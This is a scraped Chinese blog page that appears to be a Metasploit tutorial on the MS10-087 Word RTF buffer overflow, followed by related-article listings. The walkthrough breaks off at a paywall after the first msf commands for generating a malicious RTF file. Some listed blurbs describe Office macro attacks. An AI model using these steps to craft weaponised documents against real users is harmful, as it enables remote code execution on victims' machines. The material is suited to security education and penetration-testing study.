Office（word）渗透攻击实战案例

最新推荐文章于 2025-03-17 17:28:30 发布

Goallegoal

最新推荐文章于 2025-03-17 17:28:30 发布

阅读量1.3k

点赞数

分类专栏： Kali Linux渗透测试文章标签：安全

本文链接：https://blog.csdn.net/qq_40644809/article/details/105887742

版权

本文通过MS10-087案例分析了Office（Word）渗透攻击，揭示了当用户打开特制RTF邮件时，可能导致远程代码执行的安全风险。攻击者可获得与本地用户相同权限，而低版本Word更容易受到RTF文件漏洞的影响。

摘要由CSDN通过智能技术生成

Office（word）渗透攻击实战案例

MS10-087

如果用户打开或预览特制的RTF电子邮件，则最严重的漏洞可能允许远程执行代码。成功利用这些漏洞中的任何一个的攻击者可以获得与本地用户相同的用户权限。与使用管理用户权限进行操作的用户相比，将其帐户配置为在系统上具有较少用户权限的用户受到的影响较小。
低版本的word版本会出现RTF文件漏洞。

攻击复现

msf > search ms10_087
msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf  exploit(ms10_087_rtf_pfragments_bof) > set FILENAME ms10087.rtf
msf  exploit(ms10_087_rtf_pfragments_bof<

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

Goallegoal

关注关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

word排版实例20套（提高篇

07-11

APT攻击案例分享

11-15

APT是指高级的持续性的渗透攻击，是针对特定组织的多方位的攻击；APT不是一种新的攻击手法，因此也无法通过阻止一次攻击就让问题消失。

参与评论您还未登录，请先登录后发表或查看评论

word2016实战技巧1

第七宇林的博客

04-01

647

word2016实用技巧-1 1.在word文档任意位置输入文本: 2.不断放大/缩小字体的快捷键： 3.切换英文大小写(全部大写/小写/单词首字母大写)快捷键： 4.利用word自动替换/修正功能，方便的输入长句子/生僻词/特殊字符/图片,称为"缩略输入" 5. word段落自动编号注意事项(区分"段"和"行"、"回车符"和"手动换行符")

AI-NLP-3.Word2Vec实战案例课

hgy413的专栏

08-15

2249

目录安装notebooks 1.文本情感分析英文 && 中文 Data Set File descriptions Data fields 第一种方式：bag_of_words_model 用pandas读入训练数据对影评数据做预处理，大概有以下环节：清洗数据添加到dataframe里抽取bag of words特征(TF，用sklearn的Count...

高级持续性威胁 APT攻击的过程和防范

logic1001的博客

01-22

912

当今，网络系统面临着越来越严重的安全挑战，在众多的安全挑战中，一种具有组织性、特定目标以及长时间持续性的新型网络攻击日益猖獗，国际上常称之为APT（Advanced Persistent Threat高级持续性威胁）攻击。APT攻击是一种以商业或者政治目的为前提的特定攻击，其通过一系列具有针对性的攻击行为以获取某个组织甚至国家的重要信息，特别是针对国家重要的基础设施和单位开展攻击，包括能源、电力、金融、国防等等。

Py自动化办公—Word文档替换、Excel表格读取、Pdf文件生成和Email自动邮件发送实战案例...

pdcfighting的博客

12-14

1247

点击上方“Python爬虫与数据挖掘”，进行关注回复“书籍”即可获赠Python从入门到进阶共10本电子书今日鸡汤平阳歌舞新承宠，帘外春寒赐锦袍。大家好，我是Python进阶者。今天继续给...

office宏攻击

LainWith的博客

12-12

2564

开启宏创建宏CS创建监听器生成宏代码思路：CS生成宏病毒插入到office中开启宏启动office，选项->自定义功能区->开发工具创建宏先创建一个宏，然后进入vb代码编写界面 CS 创建监听器生成宏代码 ...

Metasploit漏洞利用系列（五）：MSF渗透测试 - 应用Word软件渗透实战

2402_86373248的博客

08-18

746

在本系列的第五篇文章中，我们将探索如何利用Metasploit Framework (MSF) 针对Microsoft Word这一广泛使用的办公软件进行渗透测试。本文将通过一个具体的案例，展示如何运用Metasploit构建并利用含有恶意宏的Word文档来实现远程代码执行。2. Metasploit设置：确保Metasploit Framework是最新的，并且你的攻击机已经配置好监听器。3. 目标分析：了解目标使用的Office版本，因为不同版本的Word可能对宏的处理方式有差异，影响漏洞的利用效果。

[网络安全提高篇] 一一二.DataCon Coremail邮件安全竞赛之钓鱼邮件识别及分类

最新发布

AI天才研究院

03-17

1048

在当今数字化转型的浪潮中，企业级AI Agent正逐渐成为企业提升效率、创新业务模式的关键技术。企业级AI Agent能够模拟人类的智能行为，自动执行各种复杂任务，如客户服务、业务流程自动化、数据分析等。然而，为了确保AI Agent在企业环境中稳定、可靠且高效地运行，必须对其进行全面的测试和严格的质量保证。本文的目的在于提供一套系统的企业级AI Agent测试与质量保证策略，涵盖从核心概念到实际操作的各个方面。

[系统安全] 五十八.恶意软件分析 (10)利用火绒安全实现恶意样本家族批量标注（含学术探讨）

杨秀璋的专栏

04-26

699

前文介绍了利用MS Defender实现恶意样本家族批量标注。这篇文章将讲解如何利用火绒实现恶意样本家族批量标注，在通过VS、VT采集批量样本后，通常需要样本家族标注，如何准确识别家族类别至关重要，其将为后续的恶意软件家族分类或溯源提供帮助。在此感谢李师弟热心的指导和帮助，基础性基础，希望您喜欢，且看且珍惜。

word2010经典案例操作要求及样文

06-11

word2010经典案例操作要求及样文（一题）

APT攻击行动研究

01-18

：目前对 APT（Advanced Persistent Threats，高级持续威胁）攻击行动的组成要素、主要任务、重要活动以及交互关系等问题已有清晰的认识，但是缺乏统一的形式化描述，不能全面系统地表达 APT 攻击的全过程。文章基于 UML 动态建模机制，构建了 APT 攻击行动协作模型、APT 攻击行动模型和 APT 攻击活动模型；参考 APT 攻击活动模型对典型的 APT 攻击案例（针对 Google 的极光攻击行动）进行了建模，对比 McAfee 实验室的研究报告，找出了对 APT 攻击的非形式化描述所存在的不足。

Office 2007存在严重漏洞用户易遭黑客攻击

09-29

215

Office 2007存在严重漏洞用户易遭黑客攻击[@more@]据新华社电国家计算机病毒应急处理中心发现，微软公司在这个月发布例行漏洞补丁程序之后，其办公文字处理软件Office 2007以及浏览器IE 7．0又出现严重的...

2019 年各地移动 APT事件总结

m0_73803866的博客

09-25

541

2019 年世界依旧不太平，在表面平静的背后是暗流涌动。大规模军事冲突不会发生的当下，因利益，政治，宗教等问题依然会有局部战争。其中尤其以中东问题最为突出，更多关于 APT组织的相关信息，请关注奇安信威胁情报中心，红雨滴团队 GitHub 的 APT_Digital_Weapon资料库： https://github.com/RedDrip7/APT_Digital_Weapon下面我们盘点 2019 年移动端 APT攻击事件。KONNIAPT组织KONNI团队可能来源东亚地区。

肖新光：熊猫的伤痕——几例中国遭遇APT攻击的案例分析

weixin_33813128的博客

07-13

997

一年一度的阿里安全峰会创立于 2014 年，今年已是第三届，于7月13-14日在北京国家会议中心举办。峰会旨在促进亚太区信息安全行业发展，为本地区信息安全组织、信息安全专业人士和决策者搭建一个信息交流展示平台，探讨当前安全行业的最佳实践、热点议题、信息安全人才培养、新兴技术与发展趋势等。2016 阿里安全峰会设立12个分论坛，数十家领军企业参与、国内外...

5个著名的APT攻击事件

2401_84466316的博客

04-26

1815